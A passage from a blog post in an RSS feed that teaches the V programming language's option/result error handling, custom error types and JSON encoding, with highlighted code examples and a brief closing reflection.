</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">struct</span> <span style="color:#a6e22e">Repo</span> {
</span></span><span style="display:flex;"><span>    <span style="color:#a6e22e">users</span> []<span style="color:#a6e22e">User</span>
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">fn</span> (<span style="color:#a6e22e">r</span> <span style="color:#a6e22e">Repo</span>) <span style="color:#a6e22e">find_user_by_id</span>(<span style="color:#a6e22e">id</span> <span style="color:#66d9ef">int</span>) !<span style="color:#a6e22e">User</span> {
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">for</span> <span style="color:#a6e22e">user</span> <span style="color:#a6e22e">in</span> <span style="color:#a6e22e">r</span>.<span style="color:#a6e22e">users</span> {
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">if</span> <span style="color:#a6e22e">user</span>.<span style="color:#a6e22e">id</span> <span style="color:#f92672">==</span> <span style="color:#a6e22e">id</span> {
</span></span><span style="display:flex;"><span>            <span style="color:#75715e">// V automatically wraps this into a result or option type</span>
</span></span><span style="display:flex;"><span>            <span style="color:#66d9ef">return</span> <span style="color:#a6e22e">user</span>
</span></span><span style="display:flex;"><span>        }
</span></span><span style="display:flex;"><span>    }
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">return</span> error(<span style="color:#960050;background-color:#1e0010">&#39;</span><span style="color:#a6e22e">User</span> <span style="color:#960050;background-color:#1e0010">$</span>{<span style="color:#a6e22e">id</span>} <span style="color:#a6e22e">not</span> <span style="color:#a6e22e">found</span><span style="color:#960050;background-color:#1e0010">&#39;</span>)
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">// A version of the function using an option</span>
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">fn</span> (<span style="color:#a6e22e">r</span> <span style="color:#a6e22e">Repo</span>) <span style="color:#a6e22e">find_user_by_id2</span>(<span style="color:#a6e22e">id</span> <span style="color:#66d9ef">int</span>) <span style="color:#960050;background-color:#1e0010">?</span><span style="color:#a6e22e">User</span> {
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">for</span> <span style="color:#a6e22e">user</span> <span style="color:#a6e22e">in</span> <span style="color:#a6e22e">r</span>.<span style="color:#a6e22e">users</span> {
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">if</span> <span style="color:#a6e22e">user</span>.<span style="color:#a6e22e">id</span> <span style="color:#f92672">==</span> <span style="color:#a6e22e">id</span> {
</span></span><span style="display:flex;"><span>            <span style="color:#66d9ef">return</span> <span style="color:#a6e22e">user</span>
</span></span><span style="display:flex;"><span>        }
</span></span><span style="display:flex;"><span>    }
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">return</span> <span style="color:#a6e22e">none</span>
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">fn</span> <span style="color:#a6e22e">main</span>() {
</span></span><span style="display:flex;"><span>    <span style="color:#a6e22e">repo</span> <span style="color:#f92672">:=</span> <span style="color:#a6e22e">Repo</span>{
</span></span><span style="display:flex;"><span>        <span style="color:#a6e22e">users</span>: [<span style="color:#a6e22e">User</span>{<span style="color:#ae81ff">1</span>, <span style="color:#960050;background-color:#1e0010">&#39;</span><span style="color:#a6e22e">Andrew</span><span style="color:#960050;background-color:#1e0010">&#39;</span>}, <span style="color:#a6e22e">User</span>{<span style="color:#ae81ff">2</span>, <span style="color:#960050;background-color:#1e0010">&#39;</span><span style="color:#a6e22e">Bob</span><span style="color:#960050;background-color:#1e0010">&#39;</span>}, <span style="color:#a6e22e">User</span>{<span style="color:#ae81ff">10</span>, <span style="color:#960050;background-color:#1e0010">&#39;</span><span style="color:#a6e22e">Charles</span><span style="color:#960050;background-color:#1e0010">&#39;</span>}]
</span></span><span style="display:flex;"><span>    }
</span></span><span style="display:flex;"><span>    <span style="color:#a6e22e">user</span> <span style="color:#f92672">:=</span> <span style="color:#a6e22e">repo</span>.<span style="color:#a6e22e">find_user_by_id</span>(<span style="color:#ae81ff">10</span>) <span style="color:#a6e22e">or</span> { <span style="color:#75715e">// Option/Result types must be handled by `or` blocks</span>
</span></span><span style="display:flex;"><span>        println(<span style="color:#a6e22e">err</span>)
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">return</span>
</span></span><span style="display:flex;"><span>    }
</span></span><span style="display:flex;"><span>    println(<span style="color:#a6e22e">user</span>.<span style="color:#a6e22e">id</span>) <span style="color:#75715e">// &#34;10&#34;</span>
</span></span><span style="display:flex;"><span>    println(<span style="color:#a6e22e">user</span>.<span style="color:#a6e22e">name</span>) <span style="color:#75715e">// &#34;Charles&#34;</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#a6e22e">user2</span> <span style="color:#f92672">:=</span> <span style="color:#a6e22e">repo</span>.<span style="color:#a6e22e">find_user_by_id2</span>(<span style="color:#ae81ff">10</span>) <span style="color:#a6e22e">or</span> { <span style="color:#66d9ef">return</span> }
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#75715e">// To create an Option var directly:</span>
</span></span><span style="display:flex;"><span>    <span style="color:#a6e22e">my_optional_int</span> <span style="color:#f92672">:=</span> <span style="color:#960050;background-color:#1e0010">?</span>int(<span style="color:#a6e22e">none</span>)
</span></span><span style="display:flex;"><span>    <span style="color:#a6e22e">my_optional_string</span> <span style="color:#f92672">:=</span> <span style="color:#960050;background-color:#1e0010">?</span>string(<span style="color:#a6e22e">none</span>)
</span></span><span style="display:flex;"><span>    <span style="color:#a6e22e">my_optional_user</span> <span style="color:#f92672">:=</span> <span style="color:#960050;background-color:#1e0010">?</span><span style="color:#a6e22e">User</span>(<span style="color:#a6e22e">none</span>)
</span></span><span style="display:flex;"><span>}
</span></span></code></pre></div><p>The amount of work required to &ldquo;upgrade&rdquo; a function to an option/result function is minimal; you have to add a <code>?</code> or <code>!</code> to the return type and return <code>none</code> or an error (respectively) when something goes wrong.</p>
<p>This is the primary mechanism for error handling in V. They are still values, like in Go, but the advantage is that errors can&rsquo;t be unhandled, and handling them is a lot less verbose. Unlike other languages, V does not handle exceptions with <code>throw/try/catch</code> blocks.</p>
<p><code>err</code> is defined inside an <code>or</code> block and is set to the string message passed to the <code>error()</code> function.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-go" data-lang="go"><span style="display:flex;"><span><span style="color:#a6e22e">user</span> <span style="color:#f92672">:=</span> <span style="color:#a6e22e">repo</span>.<span style="color:#a6e22e">find_user_by_id</span>(<span style="color:#ae81ff">7</span>) <span style="color:#a6e22e">or</span> {
</span></span><span style="display:flex;"><span>    println(<span style="color:#a6e22e">err</span>) <span style="color:#75715e">// &#34;User 7 not found&#34;</span>
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">return</span>
</span></span><span style="display:flex;"><span>}
</span></span></code></pre></div><p>Use <code>err is ...</code> to compare errors:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-go" data-lang="go"><span style="display:flex;"><span><span style="color:#f92672">import</span> <span style="color:#a6e22e">io</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">x</span> <span style="color:#f92672">:=</span> <span style="color:#a6e22e">read</span>() <span style="color:#a6e22e">or</span> {
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">if</span> <span style="color:#a6e22e">err</span> <span style="color:#a6e22e">is</span> <span style="color:#a6e22e">io</span>.<span style="color:#a6e22e">Eof</span> {
</span></span><span style="display:flex;"><span>        println(<span style="color:#960050;background-color:#1e0010">&#39;</span><span style="color:#a6e22e">end</span> <span style="color:#a6e22e">of</span> <span style="color:#a6e22e">file</span><span style="color:#960050;background-color:#1e0010">&#39;</span>)
</span></span><span style="display:flex;"><span>    }
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">return</span>
</span></span><span style="display:flex;"><span>}
</span></span></code></pre></div><p>Only one <code>Option</code> or <code>Result</code> is allowed to be returned from a function. It is possible to return multiple values and still signal an error.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-go" data-lang="go"><span style="display:flex;"><span><span style="color:#a6e22e">fn</span> <span style="color:#a6e22e">multi_return</span>(<span style="color:#a6e22e">v</span> <span style="color:#66d9ef">int</span>) !(<span style="color:#66d9ef">int</span>, <span style="color:#66d9ef">int</span>) {
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">if</span> <span style="color:#a6e22e">v</span> &lt; <span style="color:#ae81ff">0</span> {
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">return</span> error(<span style="color:#960050;background-color:#1e0010">&#39;</span><span style="color:#a6e22e">must</span> <span style="color:#a6e22e">be</span> <span style="color:#a6e22e">positive</span><span style="color:#960050;background-color:#1e0010">&#39;</span>)
</span></span><span style="display:flex;"><span>    }
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">return</span> <span style="color:#a6e22e">v</span>, <span style="color:#a6e22e">v</span> <span style="color:#f92672">*</span> <span style="color:#a6e22e">v</span>
</span></span><span style="display:flex;"><span>}
</span></span></code></pre></div><h3 id="handling-optionsresults">Handling options/results</h3>
<p>There are four ways of handling an option/result.</p>
<ol>
<li>The first method is to propagate the error:</li>
</ol>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-go" data-lang="go"><span style="display:flex;"><span><span style="color:#f92672">import</span> <span style="color:#a6e22e">net</span>.<span style="color:#a6e22e">http</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">fn</span> <span style="color:#a6e22e">f</span>(<span style="color:#a6e22e">url</span> <span style="color:#66d9ef">string</span>) !<span style="color:#66d9ef">string</span> {
</span></span><span style="display:flex;"><span>    <span style="color:#a6e22e">resp</span> <span style="color:#f92672">:=</span> <span style="color:#a6e22e">http</span>.<span style="color:#a6e22e">get</span>(<span style="color:#a6e22e">url</span>)!
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">return</span> <span style="color:#a6e22e">resp</span>.<span style="color:#a6e22e">body</span>
</span></span><span style="display:flex;"><span>}
</span></span></code></pre></div><p>The body of <code>f</code> is essentially a condensed version of:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-go" data-lang="go"><span style="display:flex;"><span><span style="color:#a6e22e">resp</span> <span style="color:#f92672">:=</span> <span style="color:#a6e22e">http</span>.<span style="color:#a6e22e">get</span>(<span style="color:#a6e22e">url</span>) <span style="color:#a6e22e">or</span> { <span style="color:#66d9ef">return</span> <span style="color:#a6e22e">err</span> }
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">return</span> <span style="color:#a6e22e">resp</span>.<span style="color:#a6e22e">body</span>
</span></span></code></pre></div><p><code>http.get</code> returns <code>!http.Response</code>. Because <code>!</code> follows the call, the error will be propagated to the caller of <code>f</code>. When using <code>?</code> after a function call producing an option, the enclosing function must return an option as well. If error propagation is used in the <code>main()</code> function it will panic instead, since the error cannot be propagated any further.</p>
<ol start="2">
<li>The second method is to break from execution early:</li>
</ol>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-go" data-lang="go"><span style="display:flex;"><span><span style="color:#a6e22e">user</span> <span style="color:#f92672">:=</span> <span style="color:#a6e22e">repo</span>.<span style="color:#a6e22e">find_user_by_id</span>(<span style="color:#ae81ff">7</span>) <span style="color:#a6e22e">or</span> { <span style="color:#66d9ef">return</span> }
</span></span></code></pre></div><p>Here, you can either call <code>panic()</code> or <code>exit(</code>), which will stop the execution of the entire program, or use a control flow statement (<code>return</code>, <code>break</code>, <code>continue</code>, etc) to break from the current block.</p>
<blockquote>
<p><code>break</code> and <code>continue</code> can only be used inside a <code>for</code> loop.</p>
</blockquote>
<ol start="3">
<li>The third method is to provide a default value at the end of the <code>or</code> block. In case of an error, that value would be assigned instead, so it must have the same type as the content of the Option being handled.</li>
</ol>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-go" data-lang="go"><span style="display:flex;"><span><span style="color:#a6e22e">fn</span> <span style="color:#a6e22e">do_something</span>(<span style="color:#a6e22e">s</span> <span style="color:#66d9ef">string</span>) !<span style="color:#66d9ef">string</span> {
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">if</span> <span style="color:#a6e22e">s</span> <span style="color:#f92672">==</span> <span style="color:#960050;background-color:#1e0010">&#39;</span><span style="color:#a6e22e">foo</span><span style="color:#960050;background-color:#1e0010">&#39;</span> {
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">return</span> <span style="color:#960050;background-color:#1e0010">&#39;</span><span style="color:#a6e22e">foo</span><span style="color:#960050;background-color:#1e0010">&#39;</span>
</span></span><span style="display:flex;"><span>    }
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">return</span> error(<span style="color:#960050;background-color:#1e0010">&#39;</span><span style="color:#a6e22e">invalid</span> <span style="color:#66d9ef">string</span><span style="color:#960050;background-color:#1e0010">&#39;</span>)
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">a</span> <span style="color:#f92672">:=</span> <span style="color:#a6e22e">do_something</span>(<span style="color:#960050;background-color:#1e0010">&#39;</span><span style="color:#a6e22e">foo</span><span style="color:#960050;background-color:#1e0010">&#39;</span>) <span style="color:#a6e22e">or</span> { <span style="color:#960050;background-color:#1e0010">&#39;</span><span style="color:#66d9ef">default</span><span style="color:#960050;background-color:#1e0010">&#39;</span> } <span style="color:#75715e">// a will be &#39;foo&#39;</span>
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">b</span> <span style="color:#f92672">:=</span> <span style="color:#a6e22e">do_something</span>(<span style="color:#960050;background-color:#1e0010">&#39;</span><span style="color:#a6e22e">bar</span><span style="color:#960050;background-color:#1e0010">&#39;</span>) <span style="color:#a6e22e">or</span> { <span style="color:#960050;background-color:#1e0010">&#39;</span><span style="color:#66d9ef">default</span><span style="color:#960050;background-color:#1e0010">&#39;</span> } <span style="color:#75715e">// b will be &#39;default&#39;</span>
</span></span><span style="display:flex;"><span>println(<span style="color:#a6e22e">a</span>)
</span></span><span style="display:flex;"><span>println(<span style="color:#a6e22e">b</span>)
</span></span></code></pre></div><ol start="4">
<li>The fourth method is to use <code>if</code> unwrapping:</li>
</ol>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-go" data-lang="go"><span style="display:flex;"><span><span style="color:#f92672">import</span> <span style="color:#a6e22e">net</span>.<span style="color:#a6e22e">http</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">if</span> <span style="color:#a6e22e">resp</span> <span style="color:#f92672">:=</span> <span style="color:#a6e22e">http</span>.<span style="color:#a6e22e">get</span>(<span style="color:#960050;background-color:#1e0010">&#39;</span><span style="color:#a6e22e">https</span>:<span style="color:#75715e">//google.com&#39;) {</span>
</span></span><span style="display:flex;"><span>    println(<span style="color:#a6e22e">resp</span>.<span style="color:#a6e22e">body</span>) <span style="color:#75715e">// resp is a http.Response, not an option</span>
</span></span><span style="display:flex;"><span>} <span style="color:#66d9ef">else</span> {
</span></span><span style="display:flex;"><span>    println(<span style="color:#a6e22e">err</span>)
</span></span><span style="display:flex;"><span>}
</span></span></code></pre></div><p>Above, <code>http.get</code> returns a <code>!http.Response</code>. <code>resp</code> is only in scope for the first <code>if</code> branch. <code>err</code> is only in scope for the <code>else</code> branch.</p>
<h3 id="custom-error-types">Custom error types</h3>
<p>V gives you the ability to define custom error types through the <code>IError</code> interface. The interface requires two methods: <code>msg() string</code> and <code>code() int</code>. Every type that implements these methods can be used as an error.</p>
<p>When defining a custom error type it is recommended to embed the builtin <code>Error</code> default implementation. This provides an empty default implementation for both required methods, so you only have to implement what you really need, and may provide additional utility functions in the future.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-go" data-lang="go"><span style="display:flex;"><span><span style="color:#66d9ef">struct</span> <span style="color:#a6e22e">PathError</span> {
</span></span><span style="display:flex;"><span>    <span style="color:#a6e22e">Error</span>
</span></span><span style="display:flex;"><span>    <span style="color:#a6e22e">path</span> <span style="color:#66d9ef">string</span>
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">fn</span> (<span style="color:#a6e22e">err</span> <span style="color:#a6e22e">PathError</span>) <span style="color:#a6e22e">msg</span>() <span style="color:#66d9ef">string</span> {
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">return</span> <span style="color:#960050;background-color:#1e0010">&#39;</span><span style="color:#a6e22e">Failed</span> <span style="color:#a6e22e">to</span> <span style="color:#a6e22e">open</span> <span style="color:#a6e22e">path</span>: <span style="color:#960050;background-color:#1e0010">$</span>{<span style="color:#a6e22e">err</span>.<span style="color:#a6e22e">path</span>}<span style="color:#960050;background-color:#1e0010">&#39;</span>
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">fn</span> <span style="color:#a6e22e">try_open</span>(<span style="color:#a6e22e">path</span> <span style="color:#66d9ef">string</span>) ! {
</span></span><span style="display:flex;"><span>    <span style="color:#75715e">// V automatically casts this to IError</span>
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">return</span> <span style="color:#a6e22e">PathError</span>{
</span></span><span style="display:flex;"><span>        <span style="color:#a6e22e">path</span>: <span style="color:#a6e22e">path</span>
</span></span><span style="display:flex;"><span>    }
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">fn</span> <span style="color:#a6e22e">main</span>() {
</span></span><span style="display:flex;"><span>    <span style="color:#a6e22e">try_open</span>(<span style="color:#960050;background-color:#1e0010">&#39;</span><span style="color:#f92672">/</span><span style="color:#a6e22e">tmp</span><span style="color:#960050;background-color:#1e0010">&#39;</span>) <span style="color:#a6e22e">or</span> { panic(<span style="color:#a6e22e">err</span>) }
</span></span><span style="display:flex;"><span>}
</span></span></code></pre></div><h3 id="json">JSON</h3>
<p>Because of the ubiquitous nature of JSON, support for it is built directly into V.</p>
<p>V generates code for JSON encoding and decoding. No runtime reflection is used. This results in much better performance.</p>
<h4 id="decoding-json">Decoding JSON</h4>
<p>The <code>json.decode</code> function takes two arguments: the first is the type into which the JSON value should be decoded and the second is a string containing the JSON data.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-go" data-lang="go"><span style="display:flex;"><span><span style="color:#f92672">import</span> <span style="color:#a6e22e">json</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">struct</span> <span style="color:#a6e22e">Foo</span> {
</span></span><span style="display:flex;"><span>    <span style="color:#a6e22e">x</span> <span style="color:#66d9ef">int</span>
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">struct</span> <span style="color:#a6e22e">User</span> {
</span></span><span style="display:flex;"><span>    <span style="color:#75715e">// Adding a [required] attribute will make decoding fail, if that</span>
</span></span><span style="display:flex;"><span>    <span style="color:#75715e">// field is not present in the input.</span>
</span></span><span style="display:flex;"><span>    <span style="color:#75715e">// If a field is not [required], but is missing, it will be assumed</span>
</span></span><span style="display:flex;"><span>    <span style="color:#75715e">// to have its default value, like 0 for numbers, or &#39;&#39; for strings,</span>
</span></span><span style="display:flex;"><span>    <span style="color:#75715e">// and decoding will not fail.</span>
</span></span><span style="display:flex;"><span>    <span style="color:#a6e22e">name</span> <span style="color:#66d9ef">string</span> <span style="color:#960050;background-color:#1e0010">@</span>[<span style="color:#a6e22e">required</span>]
</span></span><span style="display:flex;"><span>    <span style="color:#a6e22e">age</span>  <span style="color:#66d9ef">int</span>
</span></span><span style="display:flex;"><span>    <span style="color:#75715e">// Use the `@[skip]` attribute to skip certain fields.</span>
</span></span><span style="display:flex;"><span>    <span style="color:#75715e">// You can also use `@[json: &#39;-&#39;]`, and `@[sql: &#39;-&#39;]`, which will cause only</span>
</span></span><span style="display:flex;"><span>    <span style="color:#75715e">// the `json` module to skip the field, or only the SQL orm to skip it.</span>
</span></span><span style="display:flex;"><span>    <span style="color:#a6e22e">foo</span> <span style="color:#a6e22e">Foo</span> <span style="color:#960050;background-color:#1e0010">@</span>[<span style="color:#a6e22e">skip</span>]
</span></span><span style="display:flex;"><span>    <span style="color:#75715e">// If the field name is different in JSON, it can be specified</span>
</span></span><span style="display:flex;"><span>    <span style="color:#a6e22e">last_name</span> <span style="color:#66d9ef">string</span> <span style="color:#960050;background-color:#1e0010">@</span>[<span style="color:#a6e22e">json</span>: <span style="color:#a6e22e">lastName</span>]
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">data</span> <span style="color:#f92672">:=</span> <span style="color:#960050;background-color:#1e0010">&#39;</span>{ <span style="color:#e6db74">&#34;name&#34;</span>: <span style="color:#e6db74">&#34;Frodo&#34;</span>, <span style="color:#e6db74">&#34;lastName&#34;</span>: <span style="color:#e6db74">&#34;Baggins&#34;</span>, <span style="color:#e6db74">&#34;age&#34;</span>: <span style="color:#ae81ff">25</span>, <span style="color:#e6db74">&#34;nullable&#34;</span>: <span style="color:#a6e22e">null</span> }<span style="color:#960050;background-color:#1e0010">&#39;</span>
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">user</span> <span style="color:#f92672">:=</span> <span style="color:#a6e22e">json</span>.<span style="color:#a6e22e">decode</span>(<span style="color:#a6e22e">User</span>, <span style="color:#a6e22e">data</span>) <span style="color:#a6e22e">or</span> {
</span></span><span style="display:flex;"><span>    <span style="color:#a6e22e">eprintln</span>(<span style="color:#960050;background-color:#1e0010">&#39;</span><span style="color:#a6e22e">Failed</span> <span style="color:#a6e22e">to</span> <span style="color:#a6e22e">decode</span> <span style="color:#a6e22e">json</span>, <span style="color:#66d9ef">error</span>: <span style="color:#960050;background-color:#1e0010">$</span>{<span style="color:#a6e22e">err</span>}<span style="color:#960050;background-color:#1e0010">&#39;</span>)
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">return</span>
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>println(<span style="color:#a6e22e">user</span>.<span style="color:#a6e22e">name</span>)
</span></span><span style="display:flex;"><span>println(<span style="color:#a6e22e">user</span>.<span style="color:#a6e22e">last_name</span>)
</span></span><span style="display:flex;"><span>println(<span style="color:#a6e22e">user</span>.<span style="color:#a6e22e">age</span>)
</span></span><span style="display:flex;"><span><span style="color:#75715e">// You can also decode JSON arrays:</span>
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">sfoos</span> <span style="color:#f92672">:=</span> <span style="color:#960050;background-color:#1e0010">&#39;</span>[{<span style="color:#e6db74">&#34;x&#34;</span>:<span style="color:#ae81ff">123</span>},{<span style="color:#e6db74">&#34;x&#34;</span>:<span style="color:#ae81ff">456</span>}]<span style="color:#960050;background-color:#1e0010">&#39;</span>
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">foos</span> <span style="color:#f92672">:=</span> <span style="color:#a6e22e">json</span>.<span style="color:#a6e22e">decode</span>([]<span style="color:#a6e22e">Foo</span>, <span style="color:#a6e22e">sfoos</span>)!
</span></span><span style="display:flex;"><span>println(<span style="color:#a6e22e">foos</span>[<span style="color:#ae81ff">0</span>].<span style="color:#a6e22e">x</span>)
</span></span><span style="display:flex;"><span>println(<span style="color:#a6e22e">foos</span>[<span style="color:#ae81ff">1</span>].<span style="color:#a6e22e">x</span>)
</span></span></code></pre></div><h4 id="encoding-json">Encoding JSON</h4>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-go" data-lang="go"><span style="display:flex;"><span><span style="color:#f92672">import</span> <span style="color:#a6e22e">json</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">struct</span> <span style="color:#a6e22e">User</span> {
</span></span><span style="display:flex;"><span>    <span style="color:#a6e22e">name</span>  <span style="color:#66d9ef">string</span>
</span></span><span style="display:flex;"><span>    <span style="color:#a6e22e">score</span> <span style="color:#a6e22e">i64</span>
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">mut</span> <span style="color:#a6e22e">data</span> <span style="color:#f92672">:=</span> <span style="color:#66d9ef">map</span>[<span style="color:#66d9ef">string</span>]<span style="color:#66d9ef">int</span>{}
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">user</span> <span style="color:#f92672">:=</span> <span style="color:#f92672">&amp;</span><span style="color:#a6e22e">User</span>{
</span></span><span style="display:flex;"><span>    <span style="color:#a6e22e">name</span>:  <span style="color:#960050;background-color:#1e0010">&#39;</span><span style="color:#a6e22e">Pierre</span><span style="color:#960050;background-color:#1e0010">&#39;</span>
</span></span><span style="display:flex;"><span>    <span style="color:#a6e22e">score</span>: <span style="color:#ae81ff">1024</span>
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">data</span>[<span style="color:#e6db74">&#39;x&#39;</span>] = <span style="color:#ae81ff">42</span>
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">data</span>[<span style="color:#e6db74">&#39;y&#39;</span>] = <span style="color:#ae81ff">360</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>println(<span style="color:#a6e22e">json</span>.<span style="color:#a6e22e">encode</span>(<span style="color:#a6e22e">data</span>)) <span style="color:#75715e">// {&#34;x&#34;:42,&#34;y&#34;:360}</span>
</span></span><span style="display:flex;"><span>println(<span style="color:#a6e22e">json</span>.<span style="color:#a6e22e">encode</span>(<span style="color:#a6e22e">user</span>)) <span style="color:#75715e">// {&#34;name&#34;:&#34;Pierre&#34;,&#34;score&#34;:1024}</span>
</span></span></code></pre></div><h2 id="post-post-analysis">Post <em>post</em> analysis</h2>
<p>Now that I&rsquo;ve followed through the introduction replacing the sections in &lsquo;Introduction to Go&rsquo; with that Vlang, the infancy of V has become visible to me as I discover many features and libraris of Go are missing. But I belive (at least for now, pray for me) that this would be an opportunity to learn more.</p>
<h2 id="meme-time">Meme time</h2>
<p>If you&rsquo;ve made this far, here&rsquo;s your gift:</p>
<p><img src="./black-hat-v.png" alt="black-hat-v"></p>
]]></description>
      
    </item>
    
    
  </channel>
</rss>
